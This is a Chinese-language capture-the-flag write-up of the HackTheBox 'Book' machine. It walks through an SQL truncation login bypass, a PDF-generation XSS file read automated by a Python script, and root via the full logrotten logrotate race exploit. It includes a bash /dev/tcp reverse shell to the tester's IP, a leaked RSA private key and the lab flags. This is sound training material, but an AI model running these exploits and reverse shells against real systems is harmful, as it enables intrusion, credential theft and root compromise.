[Meachines] [Medium] Book SQLTA+PDF-XSS-File_Read+TRP00F 自动化权限提升+logrotate条件竞争权限提升

信息收集

IP AddressOpening Ports
10.10.10.176TCP:22,80

$ nmap -p- 10.10.10.176 --min-rate 1000 -sC -sV

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP && SQLTA截断攻击

$ feroxbuster --url http://10.10.10.176

image.png

http://10.10.10.176/admin

image-1.png

首次注册登录后可以在Contact Us获取到管理员的邮箱

image-10.png

SQL截断攻击(SQL Truncation Attack)是一种利用数据库字段长度限制的攻击技术,通常发生在处理用户名或密码等用户输入时。攻击者通过输入特定长度的数据,导致数据库截断该输入,从而绕过身份验证或获得管理员权限等非授权访问。

image-2.png

输入admin@book.htb时候出现用户已存在

image-3.png

name=admin%40book.htb&email=admin%40book.htb+.&password=123456

image-4.png

email=admin%40book.htb+.&password=123456
尝试登录时,并不是以admin@book.htb身份登录

image-5.png

继续添加空格

name=admin%40book.htb&email=admin%40book.htb++++++.&password=123456

image-6.png

email=admin%40book.htb&password=123456

image-7.png

成功登录了

确定数据库中的最大字符串长度是20。所以当.位于第21位,它被删除了。

http://10.10.10.176/admin

登录管理员账户

image-11.png

PDF-XSS 文件读取

在collection.php中有一些PDF。

image-12.png

返回普通入口。书稿提交给出版社。

image-13.png

<p id="test">vu</p><script>document.getElementById('test').innerHTML+='ln'</script>

<p id="test2">vu</p><script>document.getElementById('test2').innerHTML+='ln'</script>

image-14.png

image-15.png

再次返回到admin的collections页面

image-16.png

确定pdf中Title字段和Author字段存在xss

image-17.png

关于xss读取文件

https://github.com/ChrisLinn/greyhame-2017/blob/master/shared-files/Local%20File%20Read%20via%20XSS%20in%20Dynamically%20Generated%20PDF.pdf

再次重复以上操作

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

image-18.png

问题发现,验证过程

<p id="test2"></p><script>document.getElementById('test2').innerHTML+=window.location</script>

可以看到这段js并不是在我们客户端执行的而是服务端执行,所以可以是利用XHR请求利用file协议绕过安全策略

image-18.pngimage-19.png

#!/usr/bin/python3
# 0xdf
import requests
from cmd import Cmd
from tika import parser


class Terminal(Cmd):
    prompt = "book> "
    base_url = "http://10.10.10.176"

    def __init__(self):
        super().__init__()
        email = "0xdf@book.htb"
        password = "0xdf"
        self.user_sess = requests.session()
        #self.user_sess.proxies = {'http':'http://127.0.0.1:8080'}
        self.user_sess.get(f'{self.base_url}/index.php')
        self.user_sess.post(f'{self.base_url}/index.php', data=f"name=0xdf&email={email}&password={password}",
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
        resp = self.user_sess.post(f'{self.base_url}/index.php', data=f"email={email}&password={password}",
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
        if "Nope" in resp.text:
            print("[-] Failed to log in as user")
            exit()
        print(f"Session created as user: {self.user_sess.cookies['PHPSESSID']}")

        self.admin_sess = requests.session()
        #self.admin_sess.proxies = {'http':'http://127.0.0.1:8080'}
        self.admin_sess.get(f'{self.base_url}/index.php')
        self.admin_sess.post(f'{self.base_url}/index.php', data="name=0xdf&email=admin@book.htb                 .&password=0xdf",
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
        resp = self.admin_sess.post(f'{self.base_url}/admin/', data='email=admin%40book.htb&password=0xdf',
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
        if "Nope" in resp.text:
            print("[-] Failed to log in as admin")
            exit()
        print(f'Session created as admin: {self.admin_sess.cookies["PHPSESSID"]}')


    def default(self, args):
        # Upload XSS
        files = {'Upload': ('file.pdf', 'dummy data', 'application/pdf')}
        values = {'title': '<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file://' + args + '");x.send();</script>',
                  'author': '0xdf',
                  'Upload': 'Upload'}
        resp = self.user_sess.post(f'{self.base_url}/collections.php', files=files, data=values, allow_redirects=False, proxies={'http':'http://127.0.0.1:8080'})

        # Get Results
        resp = self.admin_sess.get(f'{self.base_url}/admin/collections.php?type=collections')
        pdf = parser.from_buffer(resp.content)
        print(pdf['content'].strip())

term = Terminal()
try:
    term.cmdloop()
except KeyboardInterrupt:
    print()

根据之前获取到/etc/passwd中的用户名取尝试读取SSH私钥

$ python3 exp.py

book> /home/reader/.ssh/id_rsa

image-20.png

需要美化格式

-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0
WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0
ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s
7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK
75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7
3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+
McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI
tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ
jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz
7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6
GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL
E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/
ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+
SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l
skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V
o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m
Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC
hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u
Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh
sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf
tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi
5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW
y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN
nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4=
-----END RSA PRIVATE KEY-----

image-21.png

User.txt

8bdb753f4a753405e4508285c19a84c2

权限提升

TRP00F 自动化权限提升

https://github.com/MartinxMax/trp00f

$ python3 trp00f.py --lhost 10.10.16.24 --lport 10000 --rhost 10.10.16.24 --rport 10001 --http 1111

[!] Do you want to exploit the vulnerability in file ‘pkexec’ ? (y/n) >y

image-22.png

logrotate 权限提升

通过pspy32进程监视发现root用户每五秒会自动执行/root/log.sh和logrotate

image-23.png

logrotate 是一个用于管理和轮换日志文件的工具,通常在类 Unix 操作系统中使用。它有助于自动处理和维护系统和应用程序生成的日志文件,确保这些日志文件不会占用过多的磁盘空间。

reader@book:~/backups$ echo 1 > access.log

image-24.png

进一步确定logrotate执行/root/log.cfg内容生成日志就在backup目录。

这篇文章详细讲了关于logrotate权限提升的方法

https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges

1.mv access.log.1 access.log2
2.mv access.log access.log.1
3.touch access.log # 当前用户权限

大致意思:在logorate中存在竞争条件,如果攻击者可以执行上面2到3之间的命令,将/home/reader/backup替换为指向其他位置的符号链接,那么root将在攻击者想要的任何文件夹中创建文件。

/*
 * logrotate poc exploit
 *
 * [ Brief description ]
 *   - logrotate is prone to a race condition after renaming the logfile.
 *   - If logrotate is executed as root and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories.
 *   - An attacker could elevate his privileges by writing reverse-shells into 
 *     directories like "/etc/bash_completition.d/".
 *
 * [ Precondition for privilege escalation ]
 *   - Logrotate needs to be executed as root
 *   - The logpath needs to be in control of the attacker
 *   - Any option(create,compress,copy,etc..) that creates a new file is set in the logrotate configuration. 
 * 
 * [ Tested version ]
 *   - Debian GNU/Linux 9.5 (stretch)
 *   - Amazon Linux 2 AMI (HVM)
 *   - Ubuntu 18.04.1
 *   - logrotate 3.8.6
 *   - logrotate 3.11.0
 *   - logrotate 3.15.0
 *
 * [ Compile ]
 *   - gcc -o logrotten logrotten.c
 *
 * [ Prepare payload ]
 *   - echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
 *
 * [ Run exploit ]
 *   - nice -n -20 ./logrotten -p payloadfile /tmp/log/pwnme.log
 *   - if compress is used: nice -n -20 ./logrotten -c -s 3 -p payloadfile /tmp/log/pwnme.log.1
 *
 * [ Known Problems ]
 *   - It's hard to win the race inside a docker container or on a lvm2-volume
 *
 * [ Mitigation ]
 *   - make sure that logpath is owned by root
 *   - use su-option in logrotate.cfg
 *   - use selinux or apparmor
 *
 * [ Author ]
 *   - Wolfgang Hotwagner
 *
 * [ Contact ]
 *   - https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
 *   - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
 *   - https://github.com/whotwagner/logrotten
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <string.h>
#include <alloca.h>
#include <sys/stat.h>
#include <getopt.h>

#include <asm/unistd.h>
#include <sys/syscall.h>

#define fastsymlink(a,b) syscall(__NR_symlink,(a),(b))
#define fastrename(a,b) syscall(__NR_rename,(a),(b))

#define EVENT_SIZE  ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN     ( 1024 * ( EVENT_SIZE + 16 ) )

/* use TARGETDIR without "/" at the end */
#define TARGETDIR "/etc/bash_completion.d"

#define PROGNAME "logrotten"

void usage(const char* progname)
{
	printf("usage: %s [OPTION...] <logfile>\n",progname);
	printf("  %-3s %-22s %-30s\n","-h","--help","Print this help");
	printf("  %-3s %-22s %-30s\n","-t","--targetdir <dir>","Abosulte path to the target directory");
	printf("  %-3s %-22s %-30s\n","-p","--payloadfile <file>","File that contains the payload");
	printf("  %-3s %-22s %-30s\n","-s","--sleep <sec>","Wait before writing the payload");
	printf("  %-3s %-22s %-30s\n","-d","--debug","Print verbose debug messages");
	printf("  %-3s %-22s %-30s\n","-c","--compress","Hijack compressed files instead of created logfiles");
	printf("  %-3s %-22s %-30s\n","-o","--open","Use IN_OPEN instead of IN_MOVED_FROM");
}

int main(int argc, char* argv[] )
{
  int length, i = 0;
  int j = 0;
  int index = 0;
  int fd;
  int wd;
  char buffer[EVENT_BUF_LEN];
  uint32_t imask = IN_MOVED_FROM;
  char *payloadfile = NULL;
  char *logfile = NULL;
  char *targetdir = NULL;
  char *logpath;
  char *logpath2;
  char *targetpath;
  int debug = 0;
  int sleeptime = 1;
  char ch;
  const char *p;
  FILE *source, *target;    

  int c;

  while(1)
  {
	int this_option_optind = optind ? optind : 1;
	int option_index = 0;
	static struct option long_options[] = {
		{"payloadfile", required_argument, 0, 0},
		{"targetdir", required_argument, 0, 0},
		{"sleep", required_argument, 0, 0},
		{"help", no_argument, 0, 0},
		{"open", no_argument, 0, 0},
		{"debug", no_argument, 0, 0},
		{"compress", no_argument, 0, 0},
		{0,0,0,0}
	};

	c = getopt_long(argc,argv,"hocdp:t:s:", long_options, &option_index);
	if (c == -1)
		break;

	switch(c)
	{
		case 'p':
			payloadfile = alloca((strlen(optarg)+1)*sizeof(char));
	  		memset(payloadfile,'\0',strlen(optarg)+1);
			strncpy(payloadfile,optarg,strlen(optarg));
			break;
		case 't':
			targetdir = alloca((strlen(optarg)+1)*sizeof(char));
	  		memset(targetdir,'\0',strlen(optarg)+1);
			strncpy(targetdir,optarg,strlen(optarg));
			break;
		case 'h':
			usage(PROGNAME);
			exit(EXIT_FAILURE);
			break;
		case 'd':
			debug = 1;
			break;
		case 'o':
			imask = IN_OPEN;
			break;
		case 'c':
			imask = IN_OPEN;
			break;
		case 's':
			sleeptime = atoi(optarg);
			break;
		default:
			usage(PROGNAME);
			exit(EXIT_FAILURE);
			break;
	}
  }

  if(argc == (optind+1))
  {
	  logfile = alloca((strlen(argv[optind])+1)*sizeof(char));
	  memset(logfile,'\0',strlen(argv[optind])+1);
	  strncpy(logfile,argv[optind],strlen(argv[optind]));
  }
  else
  {
	  usage(PROGNAME);
	  exit(EXIT_FAILURE);
  }

  for(j=strlen(logfile); (logfile[j] != '/') && (j != 0); j--);

  index = j+1;

  p = &logfile[index];

  logpath = alloca(strlen(logfile)*sizeof(char));
  logpath2 = alloca((strlen(logfile)+2)*sizeof(char));

  if(targetdir != NULL)
  {
  	targetpath = alloca( ( (strlen(targetdir)) + (strlen(p)) +3) *sizeof(char));
  	strcat(targetpath,targetdir);
  }
  else
  {
	targetdir= TARGETDIR;
  	targetpath = alloca( ( (strlen(TARGETDIR)) + (strlen(p)) +3) *sizeof(char));
        targetpath[0] = '\0';
  	strcat(targetpath,TARGETDIR);
  }
  strcat(targetpath,"/");
  strcat(targetpath,p);

  for(j = 0; j < index; j++)
	  logpath[j] = logfile[j];
  logpath[j-1] = '\0';

  strcpy(logpath2,logpath);
  logpath2[strlen(logpath)] = '2';
  logpath2[strlen(logpath)+1] = '\0';

  /*creating the INOTIFY instance*/
  fd = inotify_init();

  if( debug == 1)
  {
  	printf("logfile: %s\n",logfile);
  	printf("logpath: %s\n",logpath);
  	printf("logpath2: %s\n",logpath2);
  	printf("targetpath: %s\n",targetpath);
  	printf("targetdir: %s\n",targetdir);
  	printf("p: %s\n",p);
  }

  /*checking for error*/
  if ( fd < 0 ) {
    perror( "inotify_init" );
  }

  wd = inotify_add_watch( fd,logpath, imask );

  printf("Waiting for rotating %s...\n",logfile);

while(1)
{
  i=0;
  length = read( fd, buffer, EVENT_BUF_LEN ); 

  while (i < length) {     
      struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ];     if ( event->len ) {
      if ( event->mask & imask ) { 
	  if(strcmp(event->name,p) == 0)
	  {
            fastrename(logpath,logpath2);
            fastsymlink(targetdir,logpath);
	    printf("Renamed %s with %s and created symlink to %s\n",logpath,logpath2,targetdir);
	    if(payloadfile != NULL)
	    {
		 printf("Waiting %d seconds before writing payload...\n",sleeptime);
	   	 sleep(sleeptime);
	   	 source = fopen(payloadfile, "r");	    
	   	 if(source == NULL)
	   	         exit(EXIT_FAILURE);

	   	 target = fopen(targetpath, "w");	    
	   	 if(target == NULL)
	   	 {
	   	         fclose(source);
	   	         exit(EXIT_FAILURE);
	   	 }

	   	 while ((ch = fgetc(source)) != EOF)
	   	         fputc(ch, target);

	   	 chmod(targetpath,S_IRUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
	   	 fclose(source);
	   	 fclose(target);
	    }
   	    inotify_rm_watch( fd, wd );
   	    close( fd );
	    printf("Done!\n");

	    exit(EXIT_SUCCESS);
	  }
      }
    }
    i += EVENT_SIZE + event->len;
  }
}
  /*removing from the watch list.*/
   inotify_rm_watch( fd, wd );

  /*closing the INOTIFY instance*/
   close( fd );

   exit(EXIT_SUCCESS);
}

reader@book:~/backups$ echo -e '#!/bin/bash\nbash -c "/bin/bash -i >& /dev/tcp/10.10.16.24/10033 0>&1" &'>shell.sh;chmod +x shell.sh

reader@book:~/backups$ wget http://10.10.16.24/logrotten.c

reader@book:~/backups$ gcc -o logrotten logrotten.c

reader@book:~/backups$ chmod +x logrotten

reader@book:~/backups$ echo test >> /home/reader/backups/access.log;sleep 1;./logrotten -d -p shell.sh /home/reader/backups/access.log

image-25.png

Root.txt

aae4b4b5c5603ef3e0d4c4a37345851f

  • 14
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值